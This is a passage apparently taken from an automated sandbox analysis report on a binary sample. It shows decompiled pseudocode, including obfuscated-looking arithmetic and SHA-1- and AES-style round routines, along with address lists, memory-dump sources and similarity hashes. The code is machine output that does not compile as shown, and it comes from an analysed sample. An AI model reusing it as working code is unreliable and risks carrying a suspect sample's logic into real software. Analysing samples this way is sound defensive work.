                																																								 *0xc6910e76 =  *0xc6910e76 & 0x8e789d87;
                																																								if( *0xc6910e76 < 0) {
                																																									 *0xd1d7d53d =  *0xd1d7d53d & _t152;
                																																									asm("movsw");
                																																									 *0x9d5ebbff =  *0x9d5ebbff >> 0xe3;
                																																									 *0xd59c4317 =  *0xd59c4317 & 0x8e789d87;
                																																									_t218 =  &_v3;
                																																									 *0xd39d16c6 =  *0xd39d16c6 << 0x54;
                																																									_t131 =  *0x9d57efe1;
                																																									_t172 = _t171 - 0xe04f900b;
                																																									if(_t172 != 0) {
                																																										_t196 = _t217 ^  *0x88af26c5;
                																																										 *0xf23f5b10 = _t131;
                																																										asm("sbb edi, [0x2779f892]");
                																																										 *0xe1cd6091 =  *0xe1cd6091 | _t196;
                																																										 *0x589d57ef =  *0x589d57ef + _t172;
                																																										 *0x8bcbe71c =  *0x8bcbe71c >> 0xe8;
                																																										_t257 = _t255 -  *0x5d9be074 ^  *0xeb498b17;
                																																										_t173 = _t172 & 0x000000b5;
                																																										 *0x16d193fc =  *0x16d193fc | _t257;
                																																										 *0x1911dba8 = _t173;
                																																										_t97 = _t131 & 0x00000024 ^ 0x0000000c;
                																																										_t239 = _t257 +  *0x61bd8b0f;
                																																										 *0x2ab9c2df =  *0x2ab9c2df + _t196;
                																																										_t55 =  *0x10b4ebea;
                																																										_t153 = _t173 & 0x00000008;
                																																									}
                																																								}
                																																							}
                																																						}
                																																					}
                																																				}
                																																			}
                																																		}
                																																	}
                																																}
                																															}
                																														}
                																													}
                																												}
                																											}
                																										}
                																									}
                																								}
                																							}
                																						}
                																					}
                																				}
                																			}
                																		}
                																	}
                																}
                															}
                														}
                													}
                												}
                											}
                										}
                									}
                								}
                							}
                						}
                					}
                				}
                				goto L1;
                			}











































































                0x00421e53
                0x00421e5a
                0x00421e66
                0x00421e72
                0x00421e73
                0x00421e7b
                0x00421e81
                0x00421e87
                0x00421e92
                0x00421e98
                0x00421e9b
                0x00421ea2
                0x00421ea5
                0x00421ea8
                0x00421eae
                0x00421eaf
                0x00421eba
                0x00421ec0
                0x00421ec7
                0x00421ee1
                0x00421eed
                0x00421ef9
                0x00421f06
                0x00421f07
                0x00421f08
                0x00421f1a
                0x00421f20
                0x00421f21
                0x00421f21
                0x00421f27
                0x00421f2d
                0x00421f33
                0x00421f3a
                0x00421f40
                0x00421f46
                0x00421f4d
                0x00421f53
                0x00421f5f
                0x00421f66
                0x00421f66
                0x00421f78
                0x00421f7e
                0x00421f8a
                0x00421f8b
                0x00421f92
                0x00421f9f
                0x00421fb1
                0x00421fc2
                0x00421fc8
                0x00421fda
                0x00421fdd
                0x00421fe4
                0x00421fe4
                0x00421fea
                0x00421ff2
                0x00421ff8
                0x00421ffe
                0x00422004
                0x00422009
                0x00422010
                0x00422015
                0x00422020
                0x00422026
                0x00422033
                0x0042203a
                0x00422040
                0x0042204a
                0x00422056
                0x0042205c
                0x00422062
                0x00422067
                0x0042206e
                0x00422074
                0x00422080
                0x00422086
                0x0042208d
                0x0042209a
                0x004220a0
                0x004220a7
                0x004220ad
                0x004220b3
                0x004220b4
                0x004220bb
                0x004220c1
                0x004220c7
                0x004220d3
                0x004220d9
                0x004220df
                0x004220e8
                0x004220ee
                0x004220f7
                0x004220fd
                0x00422103
                0x00422109
                0x0042211e
                0x0042212c
                0x00422133
                0x0042213f
                0x00422152
                0x0042215c
                0x00422162
                0x00422168
                0x0042216f
                0x00422171
                0x00422177
                0x0042217d
                0x00422189
                0x00422192
                0x00422198
                0x0042219e
                0x004221a5
                0x004221b7
                0x004221b8
                0x004221be
                0x004221c4
                0x004221ca
                0x004221d6
                0x004221dc
                0x004221e5
                0x004221eb
                0x004221fe
                0x00422204
                0x0042220a
                0x00422210
                0x00422216
                0x0042221c
                0x00422222
                0x00422228
                0x00422235
                0x00422241
                0x00422247
                0x0042225d
                0x00422273
                0x0042227b
                0x0042228a
                0x0042228b
                0x00422291
                0x00422297
                0x004222a2
                0x004222ad
                0x004222b4
                0x004222c1
                0x004222c4
                0x004222ca
                0x004222d0
                0x004222dc
                0x004222e8
                0x004222f4
                0x004222fb
                0x00422306
                0x00422315
                0x0042231b
                0x00422325
                0x00422337
                0x0042233d
                0x0042233e
                0x00422341
                0x00422347
                0x00422351
                0x00422358
                0x00422368
                0x00422379
                0x0042237f
                0x0042238c
                0x0042238d
                0x00422394
                0x0042239b
                0x004223a1
                0x004223ad
                0x004223b3
                0x004223bf
                0x004223ca
                0x004223d1
                0x004223d7
                0x004223dd
                0x004223ed
                0x004223f3
                0x004223f9
                0x00422412
                0x00422435
                0x00422436
                0x00422442
                0x00422448
                0x00422466
                0x0042246c
                0x00422472
                0x00422475
                0x00422478
                0x0042247a
                0x00422480
                0x00422489
                0x00422495
                0x0042249b
                0x0042249d
                0x004224a4
                0x004224af
                0x004224c1
                0x004224c8
                0x004224ce
                0x004224d7
                0x004224f3
                0x004224f9
                0x00422507
                0x00422514
                0x0042251a
                0x00422521
                0x0042252c
                0x00422533
                0x00422539
                0x0042253f
                0x00422545
                0x0042254b
                0x00422552
                0x00422553
                0x00422563
                0x0042257b
                0x00422586
                0x0042258d
                0x00422594
                0x004225ac
                0x004225b2
                0x004225b3
                0x004225b9
                0x004225c5
                0x004225cc
                0x004225d2
                0x004225d9
                0x004225df
                0x004225e8
                0x004225eb
                0x004225f1
                0x004225fb
                0x004225fc
                0x00422602
                0x0042260d
                0x0042261c
                0x0042261d
                0x0042262f
                0x00422631
                0x00422637
                0x00422643
                0x00422649
                0x0042264f
                0x0042265b
                0x0042265b
                0x00422661
                0x0042266d
                0x00422673
                0x00422680
                0x00422687
                0x0042268e
                0x0042269c
                0x004226ab
                0x004226c0
                0x004226ca
                0x004226cd
                0x004226d4
                0x004226da
                0x004226e0
                0x004226e5
                0x004226ea
                0x004226f5
                0x00422707
                0x0042270d
                0x0042270e
                0x0042271a
                0x00422721
                0x00422729
                0x0042272f
                0x00422735
                0x0042273c
                0x00422742
                0x0042274e
                0x00422754
                0x0042275a
                0x00422761
                0x00422768
                0x0042276f
                0x00422770
                0x00422776
                0x00422777
                0x00422778
                0x00422778
                0x0042277e
                0x00422785
                0x0042278b
                0x00422792
                0x004227ab
                0x004227b1
                0x004227b8
                0x004227b8
                0x004227be
                0x004227d0
                0x004227d6
                0x004227dc
                0x004227e8
                0x004227ee
                0x004227f4
                0x00422800
                0x00422806
                0x0042280c
                0x00422813
                0x00422819
                0x0042281f
                0x00422821
                0x00422827
                0x0042282d
                0x00422833
                0x00422833
                0x00422839
                0x0042284b
                0x00422858
                0x0042285e
                0x00422876
                0x0042287c
                0x00422882
                0x00422888
                0x0042288e
                0x0042289a
                0x004228a6
                0x004228a8
                0x004228b5
                0x004228bb
                0x004228ce
                0x004228d5
                0x004228dc
                0x004228e2
                0x004228ee
                0x004228f4
                0x004228fa
                0x00422903
                0x00422909
                0x0042290f
                0x00422916
                0x0042291c
                0x0042291f
                0x00422925
                0x0042292b
                0x0042292e
                0x00422934
                0x0042293a
                0x00422945
                0x00422945
                0x004228e2
                0x0042288e
                0x00422882
                0x00422827
                0x00422806
                0x004227d6
                0x00422792
                0x00422742
                0x004225fc
                0x004225eb
                0x00422594
                0x0042257b
                0x004224d7
                0x004224af
                0x004223d7
                0x0042239b
                0x00422358
                0x004222fb
                0x0042228b
                0x0042225d
                0x00422241
                0x0042221c
                0x00422210
                0x004221fe
                0x00422198
                0x0042217d
                0x004220f7
                0x004220bb
                0x0042209a
                0x0042206e
                0x0042203a
                0x00421fc8
                0x00421f3a
                0x00421f2d
                0x00421f08
                0x00421ec7
                0x00421e73
                0x00000000

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: ypg$s~~
                • API String ID: 0-2192493431
                • Opcode ID: 4f9f0a315f14c9722081e77326b361424b5eada6190307122e45398c42808ea4
                • Instruction ID: 26aea001003266f76af6ddec5fa83e79a9ba322a82319e3db145cd0eb8b431bd
                • Opcode Fuzzy Hash: 4f9f0a315f14c9722081e77326b361424b5eada6190307122e45398c42808ea4
                • Instruction Fuzzy Hash: B2424132A187A0DFD716CF38D88AB523FB1F352760B49430EC9A2975A2D7342559CF89
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 72%
                			E0043802D(signed int* _a4) {
                				signed int _v8;
                				signed int _v12;
                				signed int _v16;
                				char _v304;
                				signed char* _t277;
                				signed int* _t278;
                				signed int _t279;
                				signed int _t285;
                				signed int _t288;
                				signed int _t292;
                				signed int _t295;
                				signed int _t299;
                				signed int _t303;
                				signed int _t305;
                				signed int _t311;
                				signed int _t318;
                				signed int _t320;
                				signed int _t323;
                				signed int _t325;
                				signed int _t334;
                				signed int _t340;
                				signed int _t341;
                				signed int _t346;
                				signed int _t353;
                				signed int _t357;
                				signed int _t358;
                				signed int _t362;
                				signed int _t365;
                				signed int _t369;
                				signed int _t370;
                				signed int _t399;
                				signed int _t404;
                				signed int _t410;
                				signed int _t413;
                				signed int _t420;
                				signed int _t423;
                				signed int _t432;
                				signed int _t434;
                				signed int _t437;
                				signed int _t445;
                				signed int _t459;
                				signed int _t462;
                				signed int _t463;
                				signed int _t464;
                				signed int _t470;
                				signed int _t478;
                				signed int _t479;
                				signed int* _t480;
                				signed int* _t481;
                				signed int _t488;
                				signed int _t491;
                				signed int _t496;
                				signed int _t499;
                				signed int _t502;
                				signed int _t506;
                				signed int _t510;
                				signed int _t522;
                				signed int _t525;
                				signed int _t532;
                				void* _t536;
                
                				_t481 = _a4;
                				_t353 = 0;
                				_t277 =  &(_t481[7]);
                				do {
                					 *(_t536 + _t353 * 4 - 0x14c) = ((( *(_t277 - 1) & 0x000000ff) << 0x00000008 |  *_t277 & 0x000000ff) << 0x00000008 | _t277[1] & 0x000000ff) << 0x00000008 | _t277[2] & 0x000000ff;
                					 *(_t536 + _t353 * 4 - 0x148) = (((_t277[3] & 0x000000ff) << 0x00000008 | _t277[4] & 0x000000ff) << 0x00000008 | _t277[5] & 0x000000ff) << 0x00000008 | _t277[6] & 0x000000ff;
                					 *(_t536 + _t353 * 4 - 0x144) = (((_t277[7] & 0x000000ff) << 0x00000008 | _t277[8] & 0x000000ff) << 0x00000008 | _t277[9] & 0x000000ff) << 0x00000008 | _t277[0xa] & 0x000000ff;
                					 *(_t536 + _t353 * 4 - 0x140) = (((_t277[0xb] & 0x000000ff) << 0x00000008 | _t277[0xc] & 0x000000ff) << 0x00000008 | _t277[0xd] & 0x000000ff) << 0x00000008 | _t277[0xe] & 0x000000ff;
                					_t353 = _t353 + 4;
                					_t277 =  &(_t277[0x10]);
                				} while (_t353 < 0x10);
                				_t278 =  &_v304;
                				_v8 = 0x10;
                				do {
                					_t399 =  *(_t278 - 0x18);
                					_t459 =  *(_t278 - 0x14);
                					_t357 =  *(_t278 - 0x20) ^ _t278[5] ^  *_t278 ^ _t399;
                					asm("rol ecx, 1");
                					asm("rol ebx, 1");
                					_t278[9] =  *(_t278 - 0x1c) ^ _t278[6] ^ _t278[1] ^ _t459;
                					_t278[8] = _t357;
                					_t318 = _t278[7] ^  *(_t278 - 0x10) ^ _t278[2];
                					_t278 =  &(_t278[4]);
                					asm("rol ebx, 1");
                					asm("rol edx, 1");
                					_t46 =  &_v8;
                					 *_t46 = _v8 - 1;
                					_t278[6] = _t318 ^ _t399;
                					_t278[7] =  *(_t278 - 0x1c) ^  *(_t278 - 4) ^ _t357 ^ _t459;
                				} while ( *_t46 != 0);
                				_t320 =  *_t481;
                				_t279 = _t481[1];
                				_t358 = _t481[2];
                				_t404 = _t481[3];
                				_v12 = _t320;
                				_v16 = _t481[4];
                				_v8 = 0;
                				do {
                					asm("rol ebx, 0x5");
                					_t462 = _v8;
                					_t488 = _t320 + ( !_t279 & _t404 | _t358 & _t279) +  *((intOrPtr*)(_t536 + _t462 * 4 - 0x14c)) + _v16 + 0x5a827999;
                					_t323 = _v12;
                					asm("ror eax, 0x2");
                					_v16 = _t404;
                					_v12 = _t488;
                					asm("rol esi, 0x5");
                					_v8 = _t358;
                					_t410 = _t488 + ( !_t323 & _t358 | _t279 & _t323) +  *((intOrPtr*)(_t536 + _t462 * 4 - 0x148)) + _v16 + 0x5a827999;
                					_t491 = _t279;
                					asm("ror ebx, 0x2");
                					_v16 = _v8;
                					_t362 = _v12;
                					_v8 = _t323;
                					_t325 = _v8;
                					_v12 = _t410;
                					asm("rol edx, 0x5");
                					_t285 = _t410 + ( !_t362 & _t491 | _t323 & _t362) +  *((intOrPtr*)(_t536 + _t462 * 4 - 0x144)) + _v16 + 0x5a827999;
                					_t413 = _v12;
                					_v16 = _t491;
                					asm("ror ecx, 0x2");
                					_v8 = _t362;
                					_v12 = _t285;
                					asm("rol eax, 0x5");
                					_v16 = _t325;
                					_t496 = _t285 + ( !_t413 & _t325 | _t362 & _t413) +  *((intOrPtr*)(_t536 + _t462 * 4 - 0x140)) + _v16 + 0x5a827999;
                					_t358 = _v12;
                					_t288 = _v8;
                					asm("ror edx, 0x2");
                					_v8 = _t413;
                					_v12 = _t496;
                					asm("rol esi, 0x5");
                					_v16 = _t288;
                					_t279 = _v12;
                					_t499 = _t496 + ( !_t358 & _t288 | _t413 & _t358) +  *((intOrPtr*)(_t536 + _t462 * 4 - 0x13c)) + _v16 + 0x5a827999;
                					_t404 = _v8;
                					asm("ror ecx, 0x2");
                					_t463 = _t462 + 5;
                					_t320 = _t499;
                					_v12 = _t320;
                					_v8 = _t463;
                				} while (_t463 < 0x14);
                				_t464 = 0x14;
                				do {
                					asm("rol esi, 0x5");
                					asm("ror eax, 0x2");
                					_v16 = _t404;
                					_t502 = _t499 + (_t404 ^ _t358 ^ _t279) +  *((intOrPtr*)(_t536 + _t464 * 4 - 0x14c)) + _v16 + 0x6ed9eba1;
                					_t334 = _v12;
                					_v12 = _t502;
                					asm("rol esi, 0x5");
                					_t420 = _t502 + (_t358 ^ _t279 ^ _t334) +  *((intOrPtr*)(_t536 + _t464 * 4 - 0x148)) + _v16 + 0x6ed9eba1;
                					asm("ror ebx, 0x2");
                					_v16 = _t358;
                					_t365 = _v12;
                					_v12 = _t420;
                					asm("rol edx, 0x5");
                					asm("ror ecx, 0x2");
                					_t292 = _t420 + (_t279 ^ _t334 ^ _t365) +  *((intOrPtr*)(_t536 + _t464 * 4 - 0x144)) + _v16 + 0x6ed9eba1;
                					_t423 = _v12;
                					_v8 = _t334;
                					_v8 = _t365;
                					_v12 = _t292;
                					asm("rol eax, 0x5");
                					_t464 = _t464 + 5;
                					_t358 = _v12;
                					asm("ror edx, 0x2");
                					_t506 = _t292 + (_t334 ^ _v8 ^ _t423) +  *((intOrPtr*)(_t536 + _t464 * 4 - 0x154)) + _t279 + 0x6ed9eba1;
                					_t295 = _v8;
                					_v8 = _t423;
                					_v12 = _t506;
                					asm("rol esi, 0x5");
                					_t404 = _v8;
                					_t499 = _t506 + (_t295 ^ _v8 ^ _t358) +  *((intOrPtr*)(_t536 + _t464 * 4 - 0x150)) + _t334 + 0x6ed9eba1;
                					_v16 = _t295;
                					_t279 = _v12;
                					asm("ror ecx, 0x2");
                					_v12 = _t499;
                				} while (_t464 < 0x28);
                				_v8 = 0x28;
                				do {
                					asm("rol esi, 0x5");
                					_v16 = _t404;
                					asm("ror eax, 0x2");
                					_t510 = ((_t358 | _t279) & _t404 | _t358 & _t279) +  *((intOrPtr*)(_t536 + _v8 * 4 - 0x14c)) + _t499 + _v16 - 0x70e44324;
                					_t470 = _v12;
                					_v12 = _t510;
                					asm("rol esi, 0x5");
                					_t340 = _v8;
                					asm("ror edi, 0x2");
                					_t432 = ((_t279 | _t470) & _t358 | _t279 & _t470) +  *((intOrPtr*)(_t536 + _t340 * 4 - 0x148)) + _t510 + _v16 - 0x70e44324;
                					_v16 = _t358;
                					_t369 = _v12;
                					_v12 = _t432;
                					asm("rol edx, 0x5");
                					_v8 = _t279;
                					_t434 = ((_t470 | _t369) & _t279 | _t470 & _t369) +  *((intOrPtr*)(_t536 + _t340 * 4 - 0x144)) + _t432 + _v16 - 0x70e44324;
                					asm("ror ecx, 0x2");
                					_v16 = _v8;
                					_t299 = _v12;
                					_v8 = _t470;
                					_v12 = _t434;
                					asm("rol edx, 0x5");
                					asm("ror eax, 0x2");
                					_t522 = ((_t369 | _t299) & _t470 | _t369 & _t299) +  *((intOrPtr*)(_t536 + _t340 * 4 - 0x140)) + _t434 + _v16 - 0x70e44324;
                					_v16 = _v8;
                					_t437 = _t369;
                					_t358 = _v12;
                					_v8 = _t437;
                					_v12 = _t522;
                					asm("rol esi, 0x5");
                					_v16 = _v8;
                					_t499 = ((_t299 | _t358) & _t437 | _t299 & _t358) +  *((intOrPtr*)(_t536 + _t340 * 4 - 0x13c)) + _t522 + _v16 - 0x70e44324;
                					_t404 = _t299;
                					_t279 = _v12;
                					asm("ror ecx, 0x2");
                					_v12 = _t499;
                					_t341 = _t340 + 5;
                					_v8 = _t341;
                				} while (_t341 < 0x3c);
                				_t478 = 0x3c;
                				_v8 = 0x3c;
                				do {
                					asm("rol esi, 0x5");
                					_t479 = _v8;
                					asm("ror eax, 0x2");
                					_t525 = (_t404 ^ _t358 ^ _t279) +  *((intOrPtr*)(_t536 + _t478 * 4 - 0x14c)) + _t499 + _v16 - 0x359d3e2a;
                					_t346 = _v12;
                					_v16 = _t404;
                					_v12 = _t525;
                					asm("rol esi, 0x5");
                					asm("ror ebx, 0x2");
                					_t445 = (_t358 ^ _t279 ^ _t346) +  *((intOrPtr*)(_t536 + _t479 * 4 - 0x148)) + _t525 + _v16 - 0x359d3e2a;
                					_v16 = _t358;
                					_t370 = _v12;
                					_v12 = _t445;
                					asm("rol edx, 0x5");
                					_v16 = _t279;
                					asm("ror ecx, 0x2");
                					_t303 = (_t279 ^ _t346 ^ _t370) +  *((intOrPtr*)(_t536 + _t479 * 4 - 0x144)) + _t445 + _v16 - 0x359d3e2a;
                					_t404 = _v12;
                					_v12 = _t303;
                					asm("rol eax, 0x5");
                					_v16 = _t346;
                					_t532 = (_t346 ^ _t370 ^ _t404) +  *((intOrPtr*)(_t536 + _t479 * 4 - 0x140)) + _t303 + _v16 - 0x359d3e2a;
                					_t305 = _t370;
                					_v8 = _t346;
                					asm("ror edx, 0x2");
                					_v8 = _t370;
                					_t358 = _v12;
                					_v12 = _t532;
                					asm("rol esi, 0x5");
                					_t478 = _t479 + 5;
                					_t499 = (_t305 ^ _t404 ^ _t358) +  *((intOrPtr*)(_t536 + _t479 * 4 - 0x13c)) + _t532 + _v16 - 0x359d3e2a;
                					_v16 = _t305;
                					_t279 = _v12;
                					asm("ror ecx, 0x2");
                					_v8 = _t404;
                					_v12 = _t499;
                					_v8 = _t478;
                				} while (_t478 < 0x50);
                				_t480 = _a4;
                				_t480[2] = _t480[2] + _t358;
                				_t480[3] = _t480[3] + _t404;
                				_t311 = _t480[4] + _v16;
                				 *_t480 =  *_t480 + _t499;
                				_t480[1] = _t480[1] + _t279;
                				_t480[4] = _t311;
                				_t480[0x17] = 0;
                				return _t311;
                			}































































                0x00438038
                0x0043803c
                0x0043803e
                0x00438041
                0x00438063
                0x00438089
                0x004380af
                0x004380d1
                0x004380d8
                0x004380db
                0x004380de
                0x004380e7
                0x004380ed
                0x004380f4
                0x00438105
                0x00438108
                0x0043810b
                0x0043810f
                0x00438111
                0x00438113
                0x0043811c
                0x0043811f
                0x00438122
                0x0043812d
                0x00438133
                0x00438135
                0x00438135
                0x00438138
                0x0043813b
                0x0043813b
                0x00438140
                0x00438142
                0x00438145
                0x00438148
                0x0043814e
                0x00438151
                0x00438154
                0x0043815d
                0x00438163
                0x0043816c
                0x0043817b
                0x00438182
                0x00438185
                0x00438188
                0x00438191
                0x00438194
                0x00438197
                0x004381af
                0x004381b6
                0x004381b8
                0x004381bb
                0x004381be
                0x004381c7
                0x004381ce
                0x004381d1
                0x004381d4
                0x004381e3
                0x004381ea
                0x004381ed
                0x004381f0
                0x004381f9
                0x00438203
                0x00438206
                0x00438212
                0x00438215
                0x0043821c
                0x0043821f
                0x00438222
                0x00438227
                0x0043822a
                0x00438233
                0x00438244
                0x00438247
                0x0043824a
                0x00438251
                0x00438254
                0x00438257
                0x0043825a
                0x0043825c
                0x0043825f
                0x00438262
                0x0043826b
                0x00438270
                0x00438270
                0x00438285
                0x00438288
                0x0043828b
                0x00438292
                0x00438295
                0x00438298
                0x004382ad
                0x004382b4
                0x004382bb
                0x004382be
                0x004382c3
                0x004382c6
                0x004382d5
                0x004382d8
                0x004382df
                0x004382e2
                0x004382e5
                0x004382e8
                0x004382eb
                0x004382f3
                0x00438301
                0x00438304
                0x00438307
                0x0043830e
                0x00438311
                0x00438314
                0x0043831c
                0x0043832a
                0x0043832d
                0x00438334
                0x00438337
                0x0043833a
                0x0043833d
                0x00438340
                0x00438349
                0x00438350
                0x00438350
                0x00438356
                0x0043836f
                0x00438372
                0x00438379
                0x0043837c
                0x0043837f
                0x00438391
                0x0043839b
                0x0043839e
                0x004383a7
                0x004383aa
                0x004383b1
                0x004383b4
                0x004383ba
                0x004383cd
                0x004383d4
                0x004383d7
                0x004383da
                0x004383dd
                0x004383e6
                0x004383e9
                0x004383fc
                0x004383ff
                0x00438409
                0x0043840c
                0x0043840e
                0x00438417
                0x0043841a
                0x0043842d
                0x00438433
                0x00438436
                0x0043843d
                0x0043843f
                0x00438442
                0x00438445
                0x00438448
                0x0043844b
                0x0043844e
                0x00438457
                0x0043845c
                0x0043845f
                0x0043845f
                0x00438472
                0x00438475
                0x00438478
                0x0043847f
                0x00438482
                0x00438485
                0x00438488
                0x0043849b
                0x0043849e
                0x004384a9
                0x004384ac
                0x004384b8
                0x004384bb
                0x004384c1
                0x004384c4
                0x004384c7
                0x004384ce
                0x004384de
                0x004384e1
                0x004384e7
                0x004384ea
                0x004384f1
                0x004384f3
                0x004384f6
                0x004384f9
                0x004384fc
                0x004384ff
                0x00438506
                0x00438515
                0x00438518
                0x0043851f
                0x00438522
                0x00438525
                0x00438528
                0x0043852b
                0x0043852e
                0x00438531
                0x0043853a
                0x0043854b
                0x00438553
                0x00438559
                0x0043855c
                0x0043855e
                0x00438561
                0x00438564
                0x00438571

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: (
                • API String ID: 0-3887548279
                • Opcode ID: 5b5895f0e51fce406fdbb92f5fe0f57fd39733701dba8a51bdd5afbf1107f5ef
                • Instruction ID: 116abd1c0f94c0b4e4ce805bb1ae30f59c1e7c10cf3737d7c9df0df290f38250
                • Opcode Fuzzy Hash: 5b5895f0e51fce406fdbb92f5fe0f57fd39733701dba8a51bdd5afbf1107f5ef
                • Instruction Fuzzy Hash: 79021DB6E006189FDB14CF9AC8805DDFBF2FF88314F1AC1AAD859A7315D6746A418F80
                Uniqueness

                Uniqueness Score: -1.00%

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.834854327.00000000021C0000.00000040.00000001.sdmp, Offset: 021C0000, based on PE: false
                Yara matches
                Similarity
                • API ID:
                • String ID: (f?
                • API String ID: 0-3948720542
                • Opcode ID: a256196b29af334b35c1d3bc42a35e8278ecba10ab59d148522e260d3441e033
                • Instruction ID: b267f14a4fe2fbc43b627e3176b19a77ecd993503f521eca275db8be648f1b1b
                • Opcode Fuzzy Hash: a256196b29af334b35c1d3bc42a35e8278ecba10ab59d148522e260d3441e033
                • Instruction Fuzzy Hash: 235100796447899BDB348E65CAE07EA73E2AFA8348F65412DCD8E4B640C734A941CB48
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 26%
                			E0043234D(void* __eax, signed int* __ecx, signed int* __edx, signed int _a4, signed int* _a8) {
                				signed int _v8;
                				signed int _v12;
                				signed int _v16;
                				signed int _v20;
                				signed int _v24;
                				void* _t273;
                				signed int _t274;
                				signed int _t282;
                				signed int* _t358;
                				signed int _t383;
                				signed int* _t409;
                				signed int _t429;
                				signed int _t458;
                				signed int _t478;
                				signed int _t560;
                				signed int _t603;
                
                				_t273 = __eax;
                				asm("ror edi, 0x8");
                				asm("rol edx, 0x8");
                				_t458 = ( *__edx & 0xff00ff00 |  *__edx & 0x00ff00ff) ^  *__ecx;
                				asm("ror ebx, 0x8");
                				asm("rol edx, 0x8");
                				_v20 = _t458;
                				_v8 = (__edx[1] & 0xff00ff00 | __edx[1] & 0x00ff00ff) ^ __ecx[1];
                				asm("ror ebx, 0x8");
                				asm("rol edx, 0x8");
                				_t282 = (__edx[2] & 0xff00ff00 | __edx[2] & 0x00ff00ff) ^ __ecx[2];
                				asm("ror esi, 0x8");
                				asm("rol edx, 0x8");
                				_v12 = (__edx[3] & 0xff00ff00 | __edx[3] & 0x00ff00ff) ^ __ecx[3];
                				asm("ror edx, 0x10");
                				asm("ror esi, 0x8");
                				asm("rol esi, 0x8");
                				_v24 = _t282;
                				_t429 =  *(__eax + 4 + (_t282 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v8 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v12 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t458 >> 0x00000018 & 0x000000ff) * 4) ^ __ecx[4];
                				asm("ror esi, 0x10");
                				asm("ror ebx, 0x8");
                				asm("rol ebx, 0x8");
                				_t603 =  *(__eax + 4 + (_v12 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t282 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t458 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v8 >> 0x00000018 & 0x000000ff) * 4) ^ __ecx[5];
                				asm("ror ebx, 0x8");
                				asm("ror edi, 0x10");
                				asm("rol edi, 0x8");
                				_v16 =  *(__eax + 4 + (_v12 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t458 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v8 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v24 >> 0x00000018 & 0x000000ff) * 4) ^ __ecx[6];
                				asm("ror edi, 0x10");
                				asm("ror ebx, 0x8");
                				asm("rol ebx, 0x8");
                				_t409 =  &(__ecx[8]);
                				_v12 =  *(__eax + 4 + (_v8 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v20 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v24 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v12 >> 0x00000018 & 0x000000ff) * 4) ^  *(_t409 - 4);
                				_t478 = (_a4 >> 1) - 1;
                				_a4 = _t478;
                				if(_t478 != 0) {
                					do {
                						asm("ror edi, 0x10");
                						asm("ror ebx, 0x8");
                						asm("rol ebx, 0x8");
                						_v20 =  *(__eax + 4 + (_v16 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t603 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v12 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t429 >> 0x00000018 & 0x000000ff) * 4) ^  *_t409;
                						asm("ror edi, 0x10");
                						asm("ror ebx, 0x8");
                						asm("rol ebx, 0x8");
                						_v8 =  *(__eax + 4 + (_v12 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v16 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t429 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t603 >> 0x00000018 & 0x000000ff) * 4) ^ _t409[1];
                						asm("ror ebx, 0x8");
                						asm("ror edi, 0x10");
                						asm("rol edi, 0x8");
                						_t383 =  *(__eax + 4 + (_v12 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t429 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t603 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v16 >> 0x00000018 & 0x000000ff) * 4) ^ _t409[2];
                						asm("ror edi, 0x10");
                						asm("ror edx, 0x8");
                						asm("rol edx, 0x8");
                						_v24 = _t383;
                						_t560 =  *(__eax + 4 + (_t603 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t429 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v16 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v12 >> 0x00000018 & 0x000000ff) * 4) ^ _t409[3];
                						asm("ror edx, 0x10");
                						asm("ror esi, 0x8");
                						asm("rol esi, 0x8");
                						_t429 =  *(__eax + 4 + (_t383 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v8 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t560 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v20 >> 0x00000018 & 0x000000ff) * 4) ^ _t409[4];
                						asm("ror esi, 0x10");
                						asm("ror ebx, 0x8");
                						asm("rol ebx, 0x8");
